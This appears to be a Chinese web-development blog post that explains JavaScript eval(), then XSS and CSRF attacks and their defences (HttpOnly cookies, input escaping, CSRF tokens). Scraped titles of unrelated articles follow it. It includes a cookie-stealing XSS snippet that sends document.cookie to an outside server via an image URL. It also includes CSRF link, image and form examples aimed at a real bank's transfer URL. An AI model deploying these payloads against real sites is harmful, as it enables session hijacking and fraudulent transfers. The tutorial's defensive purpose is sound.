javscript eval()的优缺点与web安全防范
要说JavaScript中最为强大的一个方法便是eval()方法呢,为何如此说呢?因为它就像是一个JavaScript解析器,也就是说它的参数就是一段js代码所构成的字符串,当执行这个函数的时候,会把参数里的字符串当成js代码运行.
比如:eval(alert("我是一个弹出框")),这一行代码就等价于alert("我是一个弹出框").
这个方法会将执行结果插入到原位置.而实际上这个方法在执行参数中的js代码中,就包含了调用该执行环境,这也就是说在这个执行环境中有与参数代码所执行的相同的作用域链.因此该方法实际上也可以引用该执行环境中所定义的变量,如下图所示:
而同样的,函数也能够eval()方法里定义,外部调用,因为实际上eval()方法里的字符串与后面的代码是一行代码而已.
不过需要注意的就是eval()方法里没有提升的说法,即函数和变量都不会提升,除此之外,在严格模式下,外部是访问不到eval()里所定义的变量或者函数的,因此会报错,而同样的eval也相当于是一个关键字,不能作为变量为其赋值.
这就是eval()方法的强大之处,但这么强大却也非常的危险,因为可能会有用户恶意输入数据或者病毒危险网站站点或者应用程序安全的代码(这种情况也被叫做代码注入).
这也是我接下来要说的XSS(Cross site Scripting,跨站脚本攻击).
利用别人的cookie,可以冒充真实的用户,在用户所颁发cookie的那个网站中为所欲为,因为浏览器的同源策略,所以是无法访问别的网站的cookie的,但可以通过JavaScript代码注入到目标页面中,就可以绕过同源策略.
比如用户在一个 HTML的表单元素input中输入账号和密码,等到数据提交并保存到服务器上时,就可以在下次展示页面的时候,重新运行这段代码.举个例子:
假设有如下的代码:
<p>不错的文章,点赞一下!</p>
<script type="text/javascript">alert(document.cookie)</script>
等到有人再次访问那个网站的时候,就可以将用户的cookie显示出来,当然并不能直接将用户的cookie信息显示出来,由于JavaScript的跨域访问被浏览器的同源策略所限制,但是可以通过创建一个不可见的<img>图片标签去下载一个包含用户cookie的图片,因为浏览器同源策略并不限制图片标签的下载(跨域).然后通过这个图片标签将cookie发送到自己的服务器上,代码如下:
//创建一个图片标签
var img = document.createElement('img');
//指定图片路径
img.src = "http://web.com/log?" + escape(document.cookie);
//将图片标签添加到页面body标签中
documen.body.append(img);
只要如上代码执行,就会将用户的cookie发送到别人的服务器"http://web.com/log"并保存成一个js文件,假设就叫web.js.
如此一来,就可以拿到用户的cookie,这种窃取用户cookie的方法 就被叫做XSS.
XSS有很多中分类,以上的是危害最大的,叫做存储性XSS,还有反射型XSS和基于dom的XSS.
防范措施:可以为网站的cookie加一个HttpOnly属性:
Set-Cookie: JSESSIONID=xxxxxx;Path=/;Domain=book.com;HttpOnly
这样浏览器就禁止读取JavaScript代码呢.
当然,通过页面注入JavaScript代码,不止可以借用别人的cookie,还可以比如模拟一个真实的用户登陆界面,或者可以通过JavaScript构造GET与POST请求,往服务器发送请求,请求数据,然后删除一些重要信息啊,或者转账啊等等.
防范措施:
可以做一个过滤判断,将用户输入的<>类似这类字符给过滤掉,或者进行编码转义,比如将<转义成<将>转义成>这样就可以将script标签里的代码当作字符串输出,就不会运行代码呢(而这也是eval()函数非常危险的地方).
CSRF(Cross Site Request Forgery,跨站请求伪造)
一个用户的会话存储cookie在浏览器没有关闭之前,是不会被删除的,这也就是说,黑客没必要去偷用户的cookie了,可以在某个网址(比如:web.com)构造一个领奖页面,吸引用户的注意力,然后构造一个超链接,让用户去点击.代码如下:
<p>恭喜你中了大奖,获得IPhone7一部,快来
<a href="www.icbc.com.cn/transfer?toBankId='黑客的账户'&money='金额'">领取吧</a></p>
当然,这得事先知道icbc.com这个网站的转账操作url和参数名称.
如果这个用户刚好登陆过这个网站,那么他的cookie还在,当他禁不住点击这个链接之后,转账操作就会神不知鬼不觉的发生了.
注:当然这里的案例比较简单,银行转账是比这安全多了.
除了让用户点击外,还可以通过使用<img src="www.icbc.com.cn/transfer?toBankId='黑客的账户'&money='金额'"/>图片,只要用户打开了这个页面,就会发生转账操作.
所以,现在很多邮箱的邮件图片都是默认不显示的.如果icbc.com的转账操作需要操作一个form表单,并且是POST方法操作,那么可以自己创建一个表单,放到一个不可见的内联框架<iframe></iframe>中,这样,一旦用户访问了该页面,就用JavaScript代码提交.代码如下:
<form action="www.icbc.com.cn/transfer" method = "POST">
<input type="text" name="toBankId" value="请输入你的id">
<input type="text" name="money" value="请输入金额">
</form>
总而言之,只要用户访问了icbc.com.cn这个网址,就极有可能中招,这是利用了合法的cookie(在浏览器看来这是合法的),这就叫做CSRF.
防范措施:
添加一个隐藏的token,让服务器生成一个token,代码如下:
<form action="www.icbc.com.cn/transfer" method = "POST">
<input type="text" name="token" value="一段看不懂的字符,这就是token">
<input type="text" name="toBankId" value="请输入你的id">
<input type="text" name="money" value="请输入金额">
</form>
由于服务器生成了token,所以在用户进行转账的时候,icbc.com这个网站就会检查用户传过来的数据中有没有token,或者与保存在服务器中的token是否相等,如果相等才执行转账操作,否则就不进行转账操作,这也就说明这次的POST请求是伪造的.
既然token是服务器端生成的,那么CSRF自然也就不行了.
javscript eval()的优缺点与web安全防范的更多相关文章
- web安全防范
xss漏洞 原理:信任了用户输入或控制的字段(url),回显(jQuery.html)到页面.导致script代码执行 后果:可以在页面执行任何hack代码,比如死循环.发送cookie.钓鱼.页面显 ...
- web安全防范之SQL注入攻击、攻击原理和防范措施
SQL注入 攻击原理 在编写SQL语句时,如果直接将用户传入的数据作为参数使用字符串拼接的方式插入到SQL查询中,那么攻击者可以通过注入其他语句来执行攻击操作,这些攻击包括可以通过SQL语句做的任何事 ...
- html5文章 -- 使用 jQuery Mobile 与 HTML5 开发 Web App ——开发原则 | Kayo's Melody
最近专注研究 jQuery Mobile —— 一款很方便就可以把 Web App 包装成适合 Android 与 iPhone 等触屏移动设备的 Javascript 库,结合 jQuery Mob ...
- 微信公众平台如何与Web App结合?
Web App简而言之就是为移动平台而优化的网页,它可以表现得和原生应用一样,并且克服了原生应用一些固有的缺点.一般而言Web App最大的入口是浏览器,但现在微信公众平台作为新兴的平台,结合其内置浏 ...
- 程序员常用的3大Web安全漏洞防御解决方案:XSS、CSRF及SQL注入(图文详解)
https://blog.csdn.net/ChenRui_yz/article/details/86489067 随着互联网的普及,网络安全变得越来越重要,程序员需要掌握最基本的web安全防范,下面 ...
- Web安全实践
目录 前言 编码安全 反序列化命令执行 SQL 注入 跨站 XSS(Cross-site scripting) 跨站请求伪造 CSRF(Cross-site request forgery) URL跳 ...
- [知识库分享系列] 二、.NET(ASP.NET)
最近时间又有了新的想法,当我用新的眼光在整理一些很老的知识库时,发现很多东西都已经过时,或者是很基础很零碎的知识点.如果分享出去大家不看倒好,更担心的是会误人子弟,但为了保证此系列的完整,还是选择分享 ...
- ASP.NET 应用程序安全
原文:http://msdn.microsoft.com/zh-cn/magazine/hh708755.aspx 一.跨站点脚本 简介 XSS 攻击是指将脚本恶意注入用户的浏览会话,这通常在用户不知 ...
- 看好你的门-客户端传数据-用java修改referer
1.简单说明 Referer.origin用来表明,浏览器向WEB服务器表明自己来自哪里.但是就它本身而言,并非完全安全. 写一个例子,可以任意修改http信息头中的referer.origin 2. ...
随机推荐
- 编写服务器程序时遇到的connect:no route to host的问题
亲测,,ftp服务器:在一台虚拟机上,没有问题.但是在不同的计算机或虚拟机上就会出现这种错误提示.一般是linux防火墙的问题 解决方法: 关闭linux防火墙 在root账户下 命令行:servic ...
- Netty学习笔记(二)
只是代码,建议配合http://ifeve.com/netty5-user-guide/此网站观看 package com.demo.netty; import org.junit.Before;im ...
- AJAX面试题都在这里
AJAX常见面试题 什么是AJAX,为什么要使用Ajax AJAX是"Asynchronous JavaScript and XML"的缩写.他是指一种创建交互式网页应用的网页开发 ...
- 在CentOS 6.x上配合Windows客户端搭建 git(gitosis)服务器
一.在 CentOS 上安装 git 和 gitosis: 逐条执行如下语句: sudo yum install git python-setuptools cd /opt sudo git clon ...
- 【深度学习】L1正则化和L2正则化
在机器学习中,我们非常关心模型的预测能力,即模型在新数据上的表现,而不希望过拟合现象的的发生,我们通常使用正则化(regularization)技术来防止过拟合情况.正则化是机器学习中通过显式的控制模 ...
- Hive metastore源码阅读(一)
不要问我为什么,因为爱,哈哈哈哈...进入正题,最近做项目顺带学习了下hive metastore的源码,进行下知识总结. hive metastore的整体架构如图: 一.组成结构: 如图我们可以看 ...
- Sublime Text3 快捷键汇总及设置快捷键配置环境变量
Ctrl+D 选词 (反复按快捷键,即可继续向下同时选中下一个相同的文本进行同时编辑)Ctrl+G 跳转到相应的行Ctrl+J 合并行(已选择需要合并的多行时)Ctrl+L 选择整行(按住-继续选择下 ...
- java thread 线程锁同步,锁,通信
12.线程同步 当多个线程访问同一个数据时,非常容易出现线程安全问题.这时候就需要用线程同步 Case:银行取钱问题,有以下步骤: A.用户输入账户.密码,系统判断是否登录成功 B.用户输入取款金额 ...
- Math.abs(~2018),掌握规律!
Math.abs(~2018) 这要用到一些计算机的基础知识. Math.abs(x)指的是返回一个数的绝对值,而关键在"~2018",这是取反操作符,故取相反数得结果为-2018 ...
- 阿里云ECS服务器上搭建keepalived+mha+mysql5.6+gtid+一主两从+脚本判断架构踩的坑
最近,公司项目搭建了一套后端数据库架构,不是在RDS,是在阿里云的ECS服务器上搭建keepalived.mha.mysql5.6.gtid.一主两从架构,目前还没有实现读写分离,以后架构升级,可能代 ...